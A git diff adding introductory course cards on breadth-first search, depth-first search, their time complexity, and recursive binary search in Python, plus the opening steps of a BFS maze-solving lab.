+Naturally, a `Graph` object should have an `addEdge` function so that vertices can be connected to one another. The function takes the two vertices of the graph that you wish to connect (`u` and `v`) as arguments. `self.graph[u].append(v)` takes the vertex `u` and adds (through `append`) the vertex `v` to the list of adjacent vertices to `u`, signifying that the graph has an edge from `u` and ending at `v`!
+
+```python
+def addEdge(self,u,v):
+ self.graph[u].append(v)
+```
+
+
+The `BFS` function takes the vertex from which we are to start our search (`s`) as an argument. Here is the code for the BFS algorithm.
+
+Let's break each step down:
+
+```python
+def BFS(self, s):
+ visited = [False] * (len(self.graph))
+ queue = []
+ queue.append(s)
+ visited[s] = True
+ while queue:
+ s = queue.pop(0)
+ print (s, end = " ")
+ for i in self.graph[s]:
+ if visited[i] == False:
+ queue.append(i)
+ visited[i] = True
+```
+
+`visited` is an array that keeps track of vertices that have already been visited (marked `True` when visited). We initialize this to `False` for every vertex, as at the start of the algorithm, no vertices have been visited yet.
+
+
+
+```python
+visited = [False] * (len(self.graph))
+```
+
+We need a queue (recall the First-In, First-Out rule) for the order in which the vertices are visited. Since no vertices have been visited yet, we initialize the queue to be empty.
+
+``` python
+queue = []
+```
+
+Before we go in depth with the algorithm, skim this diagram. As you read the implementation details, continue to refer back to this diagram to check your understanding.
+
+
+
+To begin the search, we insert the start node (`s`) into the queue and mark `s` as "visited: by changing `visited[s]` to `True`.
+
+```python
+queue.append(s)
+visited[s] = True
+```
+
+Now, the fun begins! This algorithm will terminate only when the queue is empty, as this signifies that all nodes of the graph have been visited. This is why the `while` loop condition reads `while queue` (i.e., run the body of the loop while the queue still has an element in it). Once again, don't fret, we will break down each line!
+
+```python
+ while queue:
+ s = queue.pop(0)
+ print (s, end = " ")
+```
+
+The first step of the `while` loop is to dequeue the first element.
+
+```python
+s = queue.pop(0)
+```
+
+Initially, we only pushed the start node (argument `s`) into the queue. At this point, it will be removed and stored in `s`, which now serves as a temporary variable for storing the last popped vertex.
+
+We then print the element to the console. The order that the elements will be printed to the console in indicate the order in which they were visited in the BFS algorithm.
+
+```python
+print (s, end = " ")
+```
+
+Now, we must check which of the adjacent vertices of `s` (the last vertex popped from the queue) have been visited. If the adjacent vertices have not been visited, we add them to our queue and mark them as such. This is done throughout the following `for` loop.
+
+```python
+ for i in self.graph[s]:
+ if visited[i] == False:
+ queue.append(i)
+ visited[i] = True
+```
+
+ The `for` loop header runs for every vertex adjacent to (i.e., has an edge to) the last vertex popped from the queue (`s`).
+
+```python
+for i in self.graph[s]:
+```
+
+In the body of the for-loop, `i` represents the current adjacent vertex (to `s`) we are observing. We then refer to the `visited` array and check if the vertex has already been visited.
+
+```python
+if visited[i] == False:
+```
+
+ If `i` has already been visited (`visited[i] == True`), we should return to the top of the `for` loop and continue the algorithm with the next vertex adjacent to `s`. However, if the element has not been visited (`visited[i] == False`), we have to perform additional work to ensure the element is recognized as "visited."
+
+First, we must add `i` to the queue. This is so we can process the neighbors of `i` when we pop it off the queue later in the algorithm.
+
+```python
+queue.append(i)
+```
+
+ We also must change the value of `i` in `visited` to `True` so that for the rest of the algorithm, it is evident that this vertex has been visited.
+
+```python
+visited[i] = True
+```
+
+After all adjacent vertices of `s` are processed in the `for` loop, we jump back to the top of the `while` loop and check for remaining vertices in the queue (`while queue`). If the queue is empty, the algorithm terminates, as we have visited (and printed to the console) all the vertices in BFS order. Otherwise, we pop the first element from the queue and repeat the procedure until all vertices have been visited.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/4-checkpoint.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/4-checkpoint.md
new file mode 100644
index 00000000..eb52a00a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/4-checkpoint.md
@@ -0,0 +1,5 @@
+**Name**: BFS Time Complexity
+
+**Instruction**: Why is the time complexity of BFS O(V + E)? Answer must include where we got V and E in O(V + E).
+
+**Type**: Short Answer
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/4.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/4.md
new file mode 100644
index 00000000..b2642108
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/4.md
@@ -0,0 +1,60 @@
+
+
+
+
+
+
+As a reminder, the Big O notation describes the execution time required of or space used by an algorithm or code in computer science. Therefore, since BFS is an algorithm, its Big O can describe its run time speed. We will start with the code from the previous card:
+
+```python
+def BFS(self, s):
+ visited = [False] * (len(self.graph))
+ queue = []
+ queue.append(s)
+ visited[s] = True
+ while queue:
+ s = queue.pop(0)
+ print (s, end = " ")
+ for i in self.graph[s]:
+ if visited[i] == False:
+ queue.append(i)
+ visited[i] = True
+```
+
+As you might have noticed, there is a while-loop in the BFS algorithm.
+
+ ```python
+while queue:
+ ```
+
+This while-loop is going through every vertex inside the graph. Therefore, the Big O for this part of the algorithm is O(n). That is because the while-loop will loop n times, where n is the size of the queue list being iterated over.
+
+The next significant part of the BFS algorithm that affects its time complexity is the for-loop after the print statement.
+
+```python
+for i in self.graph[s]:
+```
+
+This for-loop is visiting the adjacent vertices of the current vertex as stated previously. Therefore it is going through every edge present in the graph. Just like the while-loop before, the time complexity of this part of the algorithm will be O(n), where n is the size of the graph list.
+
+###Combining Time Complexities
+
+Now, when you combine the two, you would get O(n^2), as the for-loop is inside the while-loop. The algorithm loops n times because of the while-loop. Inside each while-loop, you must iterate another n times due to the for-loop, thus yielding the result of O(n^2). However, that is an inaccurate time complexity for BFS!
+
+
+
+We got O(n) for the while-loop because it is going through every vertex inside the graph, and an O(n) for the for-loop because it is going through every edge in the graph. However, the number of vertices and edges are NOT the same. Therefore, a more accurate Big O for the algorithm is O(V +E), where V is the number of vertices being iterated over in the while-loop, and E is the number of edges being iterated over by the for-loop. This is unfortunately not fully accurate, as it will depend on the data structure being used in the BFS implementation.
+
+### Adjacency List vs Adjacency Matrix
+
+Depending on if you use an adjacency list or an adjacent matrix, the time complexity of the BFS will change. But before we get into that, it is best to describe what the two data structures are.
+
+ An adjacency list is a collection of unordered lists, where each list is a neighbor to another. This data structure is used for sparse graphs. A sparse graph is one where the number of edges is small, making the graph "sparse."
+
+
+
+An adjacency matrix specifies which nodes in a graph are connected to each other. This data structure is used for dense graphs. A dense graph contains a large number of edges, making the graph "dense."
+
+
+
+Thus, if you use an adjacency list to implement BFS, then you will get a time complexity of O(V + E) and O(V^2) if you were to use an adjacency matrix. For an adjacency matrix, you will have to iterate over a matrix V^2 times, but in an adjacency list, it is just V+E times due to the list only consisting of nodes.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/5-checkpoint.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/5-checkpoint.md
new file mode 100644
index 00000000..84599e08
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/5-checkpoint.md
@@ -0,0 +1,5 @@
+**Name**: BFS and DFS comparison
+
+**Instruction**: How is the Depth-First Search different from the Breadth-First Search?
+
+**Type**: Short answer
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/5.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/5.md
new file mode 100755
index 00000000..5b47b4a2
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/5.md
@@ -0,0 +1,19 @@
+
+
+
+
+
+
+**Depth First Search** (**DFS**), similar to the **Breadth-First Search** (**BFS**) we just explored, is an algorithm for traversing tree or graph data structures. The algorithm starts at the root node (with some arbitrary node as the root node for a graph) and explores as far as possible along each branch before backtracking. This is different from BFS, where we went across layers of nodes. With DFS, we traverse downwards as far as we can before going back up to the rest of the vertices.
+
+
+
+As in the example given above, DFS algorithm traverses from S to A to D to G to E to B first, then to F, and lastly to C. It employs the following rules:
+
+- **Rule 1** − Visit the adjacent unvisited vertex. Mark it as "visited." Display it and push it in a stack.
+- **Rule 2** − If no adjacent vertex is found, pop up a vertex from the stack. (It will pop up all the vertices from the stack, which do not have adjacent vertices.)
+- **Rule 3** − Repeat Rule 1 and Rule 2 until the stack is empty.
+
+With DFS, we will also employ **recursion**, the act of calling a function within itself. It seems counterintuitive at first, but calling a function within itself is useful to continue using it until some condition is reached.
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/6-checkpoint.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/6-checkpoint.md
new file mode 100644
index 00000000..84599e08
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/6-checkpoint.md
@@ -0,0 +1,5 @@
+**Name**: BFS and DFS comparison
+
+**Instruction**: How is the Depth-First Search different from the Breadth-First Search?
+
+**Type**: Short answer
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/6.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/6.md
new file mode 100755
index 00000000..0495333c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/6.md
@@ -0,0 +1,105 @@
+
+
+
+
+
+
+This is the code used to test our DFS algorithm. We can use this block to check if our function works.
+
+```python
+g = Graph()
+g.addEdge(0, 1)
+g.addEdge(0, 2)
+g.addEdge(1, 2)
+g.addEdge(2, 0)
+g.addEdge(2, 3)
+g.addEdge(3, 3)
+
+print("Following is DFS from (starting from vertex 2)")
+g.DFS(2)
+```
+
+The DFS testing is essentially identical to the BFS testing, as it serves the same purpose: to construct a graph with vertices we can traverse. The only difference is that we call `g.DFS(2)` to start the DFS algorithm from vertex 2 as opposed to calling `g.BFS(2)`, which would start the BFS algorithm.
+
+Identical to BFS, the first step in implementing a DFS algorithm is to construct a `Graph` class with an `addEdge` function.
+
+```python
+from collections import defaultdict
+
+class Graph:
+
+ def __init__(self):
+
+ self.graph = defaultdict(list)
+
+ def addEdge(self, u, v):
+ self.graph[u].append(v)
+```
+
+The `DFSUtil` function will be the key to implementing the DFS algorithm. The function takes the vertex we are currently observing (`v`) and the `visited` array as arguments. Similar to that of BFS, the `visited` array is used to determine if a certain vertex has already been visited. If `visited[v] = True`, then the vertex `v` has been visited. Likewise, if `visited[v] = False`, `v` has not been visited.
+
+Here is the code for `DFSUtil` in full. We will break it down step by step, but first, turn your attention to something important in these lines. What do you notice about the last line of the code? It seems like `DFSUtil` is calling the function `DFSUtil`. That is, `DFSUtil` is calling itself! When a function calls itself in its own body, it is known as a recursive function. Recognizing this is essential to understanding how the DFS algorithm is implemented.
+
+```python
+ def DFSUtil(self, v, visited):
+ visited[v] = True
+ print(v, end = ' ')
+ for i in self.graph[v]:
+ if visited[i] == False:
+ self.DFSUtil(i, visited)
+
+ def DFS(self, v):
+ visited = [False] * (len(self.graph))
+ self.DFSUtil(v, visited)
+```
+
+Back to the line-by-line breakdown of the code.
+
+`DFSUtil` begins by marking the vertex `v` as "visited" by changing `visited[v] = True`. It then prints the vertex to the console to let the user know that `v` has just been visited.
+
+```python
+visited[v] = True
+print(v, end = ' ')
+```
+
+The function then enters the `for` loop. Just as in BFS, this `for` loop runs for each vertex adjacent to `v`. That is, `self.graph[v]` contains a list of all vertices from which there is an edge leading to `v` (see chart labeled *Graph In Terms of Adjacent Vertices* in the diagram below). The variable `i` stores this adjacent vertex throughout the `for` loop. The `for` loop contains an `if` statement that checks if said adjacent vertex (`i`) is unvisited (`visited[i] == False`). If so, we recurse and call `DFSUtil` again, passing the adjacent vertex (`i`) and our updated `visited` array as arguments.
+
+```python
+ for i in self.graph[v]:
+ if visited[i] == False:
+ self.DFSUtil(i, visited)
+```
+
+You might be wondering, "Why does this function call itself? DFS is supposed to have a stack, but I don't see any such data structure?" To address these concerns, we must diverge from the code and discuss how arguments are passed to a function.
+
+Arguments to a function are passed through a stack, a data structure with the **L**ast-**I**n **F**irst-**O**ut (**LIFO**) functionality. When a function is called, each argument is pushed onto a stack. When a function terminates, all arguments are popped from the stack.
+
+While this occurs for all arguments passed to a function, for simplicity, we are going to focus our attention on how the `v` argument is pushed and popped from the stack every time `DFSUtil` is called and terminates.
+
+The diagram below explains DFS step by step with special attention given to how recursion, passing arguments, and the stack play a role:
+
+
+
+Often with recursive functions, we require a driver function to set up certain values or variables before calling the recursive function. For the DFS algorithm, we have the `DFS` function serving as a driver function for the `DFSUtil` function. It first marks all vertices as "not visited" (the `visited` array only has `False` values), then calls `DFSUtil` to visit the nodes.
+
+```python
+ def DFS(self, v):
+ visited = [False] * (len(self.graph))
+ self.DFSUtil(v, visited)
+```
+
+Here is the completed code:
+
+```python
+ def DFSUtil(self, v, visited):
+ visited[v] = True
+ print(v, end = ' ')
+ for i in self.graph[v]:
+ if visited[i] == False:
+ self.DFSUtil(i, visited)
+
+ def DFS(self, v):
+ visited = [False] * (len(self.graph))
+ self.DFSUtil(v, visited)
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/7-checkpoint.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/7-checkpoint.md
new file mode 100644
index 00000000..ca1b04bf
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/7-checkpoint.md
@@ -0,0 +1,6 @@
+**Name**: DFS Time Complexity
+
+**Instruction**: Why is the DFS time complexity the same as the BFS time complexity?
+
+**Type**: Short Answer
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/7.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/7.md
new file mode 100644
index 00000000..4ac59cc5
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/7.md
@@ -0,0 +1,41 @@
+
+
+
+
+
+
+DFS and BFS are two sides of the same coin. This means they have the same goal of traversing a graph, but the way they traverse is different. However, despite the difference in their ways, the time complexities for both are the same: O(V + E) for an adjacent list and O(V^2) for an adjacency matrix.
+
+To explain this, we will have to delve into the code of DFS:
+
+```Python
+def DFSUtil(self, v, visited):
+ visited[v] = True
+ print(v, end = ' ')
+ for i in self.graph[v]:
+ if visited[i] == False:
+ self.DFSUtil(i, visited)
+
+ def DFS(self, v):
+ visited = [False] * (len(self.graph))
+ self.DFSUtil(v, visited)
+```
+
+###What is the time complexity?
+
+Just like in our BFS algorithm, the for-loop runs in O(n) time, where n is supposed to be the number of edges of the graph. However, unlike in our BFS algorithm, there is no while-loop to iterate over every vertex inside the graph. Therefore, where does the V come from in the O(V + E) stated above?
+
+
+
+The while-loop is actually hidden in the code above. Instead of looping through the vertices using a while-loop, the code recurses. In other words, it calls itself n times for each vertex inside the graph we are traversing, thus hiding the while-loop. This can be seen in the last line of the `DFSUtil` function:
+
+```python
+if visited[i] == False:
+ self.DFSUtil(i, visited)
+```
+
+Therefore, the recursion occurs in O(n) time, where n is the number of vertices in the graph. Thus, when we combine the time complexities for recursion and the for-loop, we get O(V + E) again.
+
+### Adjacency List vs. Adjacency Matrix
+
+We will get the same time complexity we got for BFS for the adjacency list and adjacency matrix implementation of DFS. The reason for that is the same as for BFS. If you were to use an adjacency matrix, then you'd have to iterate V^2 times. But, in an adjacency list, you'd only have to do it V + E times. Thus, the adjacency list is O(V + E) and the adjacency matrix is O(V^2).
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/8.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/8.md
new file mode 100755
index 00000000..5e1e7b99
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/8.md
@@ -0,0 +1,41 @@
+
+
+
+
+
+
+Binary search compares the target value to the middle element of the array. If they are not equal, the half where target cannot lie is eliminated. The search continues on the remaining half, again comparing the middle element to the target value, and repeating this until the target value is found. If the search ends with the remaining half being empty, the target is not in the array.
+
+##### How Binary Search Works?
+
+For a binary search to work, it is mandatory for the target array to be sorted. We shall learn the process of binary search with a pictorial example. The following is our sorted array. Assume we need to search the location of value 25 using binary search.
+
+
+
+First, we shall determine half of the array by using this formula:
+
+```
+ mid = low + (high - low) / 2
+```
+
+Here it is, 0 + (9 - 0 ) / 2 = 4 (integer value of 4.5). So, 4 is the mid of the array.
+
+
+
+Now, we compare the value stored at location 4, with the value being searched, which is 25. We find that the value at location 4 is 24, which does not match. As the value is greater than 24 and we have a sorted array, we know that the target value must be in the upper portion of the array.
+
+
+
+We will find the mid again and determine it to be 5 + (9-5) / 2 = 7. Since the value at location 7 is 41, we know that the target value should be in the lower portion of the remaining array (at an index less than 7, but greater than 4).
+
+
+
+Hence, we calculate the mid again. This time, it is 5.
+
+We compare the value stored at location 5 with our target value. We find that it is a match.
+
+
+
+We conclude that the target value 25 is stored at location 5.
+
+Binary search halves the searchable items and thus reduces the count of comparisons to be made.
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/9-checkpoint.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/9-checkpoint.md
new file mode 100644
index 00000000..746f2e37
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/9-checkpoint.md
@@ -0,0 +1,5 @@
+**Name**: Binary search implementation
+
+**Instruction**: How is recursion used in the binary search function to find the target?
+
+**Type**: Short Answer
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/9.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/9.md
new file mode 100755
index 00000000..db9d07a6
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/9.md
@@ -0,0 +1,167 @@
+
+
+
+
+
+
+Here is a binary search algorithm coded in Python:
+
+```python
+# Python Program for recursive binary search.
+
+# Returns index of x in arr if present, else -1
+def binarySearch(arr, l, r, x):
+
+ # Check base case
+ if r >= l:
+
+ mid = l + (r - l)/2
+
+ # If element is present at the middle itself
+ if arr[mid] == x:
+ return mid
+
+ # If element is smaller than mid, then it
+ # can only be present in left subarray
+ elif arr[mid] > x:
+ return binarySearch(arr, l, mid-1, x)
+
+ # Else the element can only be present
+ # in right subarray
+ else:
+ return binarySearch(arr, mid + 1, r, x)
+
+ else:
+ # Element is not present in the array
+ return -1
+
+# Test array
+arr = [ 2, 3, 4, 10, 40 ]
+x = 10
+
+# Function call
+result = binarySearch(arr, 0, len(arr)-1, x)
+
+if result != -1:
+ print "Element is present at index % d" % result
+else:
+ print "Element is not present in array"
+
+```
+
+That was probably a mouthful of code. Let's break it down.
+
+Binary search takes an array `arr` and three integers, `l`, `r`, and `x` as arguments. `l` is the leftmost index of the array we are searching, and `r` is the rightmost index of the array we are searching. `x` is the element we are looking for.
+
+``` python
+# Function call
+result = binarySearch(arr, 0, len(arr)-1, x)
+```
+
+This is why the first function call passes in 0 for `l` and `len(arr) - 1` for `r` as we are searching the entire array. `l` and `r` will become important in the recursive calls made in the function.
+
+We start our binary search function by setting up a base case.
+
+```python
+ def binarySearch(arr, l, r, x):
+ if r >= l:
+
+ mid = l + (r - l)/2
+
+ if arr[mid] == x:
+ return mid
+
+
+ elif arr[mid] > x:
+ return binarySearch(arr, l, mid-1, x)
+
+ else:
+ return binarySearch(arr, mid + 1, r, x)
+```
+
+We only proceed with the algorithm if the right index is greater than a left index (`if r >= l`). When `r < l`, then we know that the element is not in the array, as the start of the array (represented by `l`) must always be before the end (represented by `r`).
+
+If we pass this test, we can find the index of the middle element using the formula:
+
+```python
+mid = l + (r - l) / 2
+```
+
+This is analogous to the formula shown in the previous section:
+
+```
+mid = low + (high - low) / 2
+```
+
+Note that the formula uses integer division, meaning that any decimal places are truncated:
+
+```
+mid = 5 + (4-1) / 2 = 5 + 3/2 = 5 + 1 = 6
+```
+
+We then proceed if the element we are looking for (`x`) is indeed the middle element. If so, we have found the element, and the algorithm returns the middle index and terminates. This is seen here:
+
+```python
+if arr[mid] == x:
+ return mid
+```
+
+If the target element's value is less than the middle element's value, that implies that the target element should be left of the array (remember, the array is sorted). This case is handled by the following `elif` statement.
+
+````python
+elif arr[mid] > x:
+ return binarySearch(arr, l, mid-1, x)
+````
+
+The body of the `elif` statement performs a recursive call to `binarySearch`, changing the right endpoint (`r`) to `mid - 1`. This is done because we determined that `x` must be left of the array (that is, between the `l` and `mid - 1` indices). By doing this recursive call, we have essentially split our problem in half.
+
+Our else-case tells us that if the target element is not in the middle or the left, it must be on the right (and greater in value than the middle element).
+
+```python
+else:
+ return binarySearch(arr, mid + 1, r, x)
+```
+
+The body of the `else` statement performs a recursive call to `binarySearch` for a similar reason to that of the `elif` statement. The difference here is that we had determined that `x` must be on the right side of the array and would be contained between the indices `mid + 1` and `r`. By doing this recursive call, the problem is split in half.
+
+This diagram shows how the recursive calls work in finding an element `x`.
+
+
+
+The last case is reserved for when the element cannot be found. As stated earlier, this occurs when `r` < `l`. In this case, we return `-1` to signify that we could not find `x`.
+
+```python
+ else:
+ return -1
+```
+
+When does `r < l` occur? To understand this, let's go back to our recursive calls
+
+```python
+elif arr[mid] > x:
+ return binarySearch(arr, l, mid-1, x)
+
+else:
+ return binarySearch(arr, mid + 1, r, x)
+```
+
+In the first possible recursive call, we decrement `mid` and pass it to the argument `r`, without changing `l`. In the second possible recursive call, we increment `mid` and pass it to the argument `l` without changing `r`. One can see that if the target element is not the middle element every time we shrink the size of the array (by adjusting `l` and `r`), eventually, we could have `l` cross (or be greater than) `r`, either by passing in `mid - 1` for `r` or `mid + 1` for `l`.
+
+Here is how the algorithm would proceed when you are unable to find an element:
+
+
+
+This block of code is what we use to test if our function is working properly. Feel free to experiment with it.
+
+```python
+arr = [ 2, 3, 4, 10, 40 ]
+x = 10
+
+# Function call
+result = binarySearch(arr, 0, len(arr)-1, x)
+
+if result != -1:
+ print "Element is present at index % d" % result
+else:
+ print "Element is not present in array"
+```
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/matchstick square - custom visual.jpg b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/matchstick square - custom visual.jpg
new file mode 100644
index 00000000..7c969d4e
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Activity2_Searching/matchstick square - custom visual.jpg differ
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/1.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/1.md
new file mode 100644
index 00000000..05f55a34
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/1.md
@@ -0,0 +1,31 @@
+
+
+
+
+
+
+For this lab, you will be coding a breadth-first search algorithm to navigate through a maze. We have provided most of the code necessary to make this maze program possible.
+
+
+
+There are 8 different "mazes" stored in .txt files. Functionalities for loading a maze from a .txt file and printing the maze and path have already been provided. In addition, a `main()` function is provided. All of this code should be left untouched.
+
+You will be computing the shortest path using BFS. To do this, first program `findStart()` and `findEnd()`, which finds the start and end coordinates given in a maze text file. Then, program a function that finds the neighbors of any space given its coordinates and a maze. This all comes in handy when you make a BFS algorithm to find the shortest path in the `BFS()` function.
+
+Before starting, we recommend you open the maze text files to understand the formatting of the maze. Asterisks (*) represent walls, the letter 's' is the start and the letter 'e' is the end. Dots ('.') represent possible maze paths.
+
+
+| Symbol | Meaning |
+| ------ | ------- |
+| s | start |
+| e | end |
+| . | paths |
+| * | Walls |
+
+
+
+
+
+
+Please start off with `findStart()`. This method should accept a predefined maze text file and then return the start coordinates of any maze in tuple form. Maze text files are provided.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/11.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/11.md
new file mode 100644
index 00000000..82c21e31
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/11.md
@@ -0,0 +1,53 @@
+
+
+
+
+
+**Step 1: What You Are Given**
+
+In order to access the maze from the maze file, you are given the following function:
+
+```python
+def readMazeFromFile(f):
+ maze = list()
+ with open(f) as file:
+ for line in file:
+ maze.append(list(line.rstrip()))
+ return maze
+```
+**Step 2: Breaking Down readMazeFromFile(f)**
+
+We start by constructing a list type object with the name maze. This will be where we store the contents of the maze file. For the purposes of this lab, this list will be referred to as an array.
+
+```python
+ maze = list()
+```
+
+Next, we will need to access the contents of the maze file by designating the file we want to open with the following code:
+
+```python
+with open(f) as file:
+```
+
+Now that we've designated the function argument f as the file we want to open, let's run a for-loop and iterate over each line in our maze file f.
+
+```python
+for line in file:
+```
+
+We add whatever is on each line of our maze file as an element of our maze array, making sure to strip each line of whitespace using line.rstrip()
+
+```python
+maze.append(list(line.rstrip()))
+```
+
+Finally, we return the contents of the list maze to end the function call.
+
+```python
+return maze
+```
+**Step 3: Using What We Know**
+
+By looking at how the maze file is read, we now know that any maze is represented as a 2D array of characters.
+
+We can loop through this 2D array of characters until the letter 's' (start coordinates) is found. We can then return that tuple of start coordinates wherever our 's' is.
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/111.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/111.md
new file mode 100644
index 00000000..67eced16
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/111.md
@@ -0,0 +1,36 @@
+
+
+
+
+
+
+**Step 1: Iterating Through the 2D Array**
+
+To iterate through a 2D array, we will have to use nested for-loops and the `range` function to determine the number of iterations needed:
+
+```python
+for i in range(len(maze)): # len(maze) is the length of a row
+ for j in range(len(maze[0])): # len(maze[0]) is the length of a column - always uniform
+```
+
+We need to use a nested `for` loop because of the fact that our maze is made out of a 2D array, we have to firstly loop through each row and then we go through each element in each row.
+
+Reminder how the `range` function works
+
+```python
+for i in range(n):
+ print(i)
+```
+
+`i` will take the values of `[0,1,2, ... , n-1]`
+
+**Step 2: Finding the letter `s`**
+
+Within these nested for loops, we check if each maze 'cell' is equal to the letter 's'; if so, we return the tuple([i, j]):
+
+```python
+ if maze[i][j] == 's':
+ return tuple([i, j])
+```
+
+Once we found the letter 's', then we've found the starting tuple and can terminate the function. We do so by returning the tuple and the function will terminate.
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/2.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/2.md
new file mode 100644
index 00000000..68cfba04
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/2.md
@@ -0,0 +1,9 @@
+
+
+
+
+
+
+
+
+Now, code the `findEnd()` function. This method should accept a predefined maze text file and then return the end coordinates of any maze in tuple form. It should look very similar to `findStart()`. Remember that we are looking for the letter `e` for the end tuple. The logic for the `findEnd()` function would be exactly the same as `findStart()`.
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/21.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/21.md
new file mode 100644
index 00000000..a0e7471e
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/21.md
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+If we look at how the maze file is read, any maze is represented as a 2D array of characters. We can simply loop through this array until the letter 'e' (end coordinates) is found. We can then return that tuple of start coordinates to wherever 'e' is.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/211.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/211.md
new file mode 100644
index 00000000..90e69ffd
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/211.md
@@ -0,0 +1,20 @@
+
+
+
+
+
+
+To iterate through a 2D array, we will have to use for-loops and the `range` function to determine the number of iterations needed:
+
+```python
+for i in range(len(maze)): # len(maze) is the length of a row
+ for j in range(len(maze[0])): # len(maze[0]) is the length of a column - always uniform
+```
+
+Within these nested for-loops, we check if each maze 'cell' is equal to the letter 'e'; if so, we return the tuple([i, j]):
+
+```python
+ if maze[i][j] == 'e':
+ return tuple([i, j])
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/3.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab1_BFS_Maze/Cards/3.md
new file mode 100644
index 00000000..d8e31678
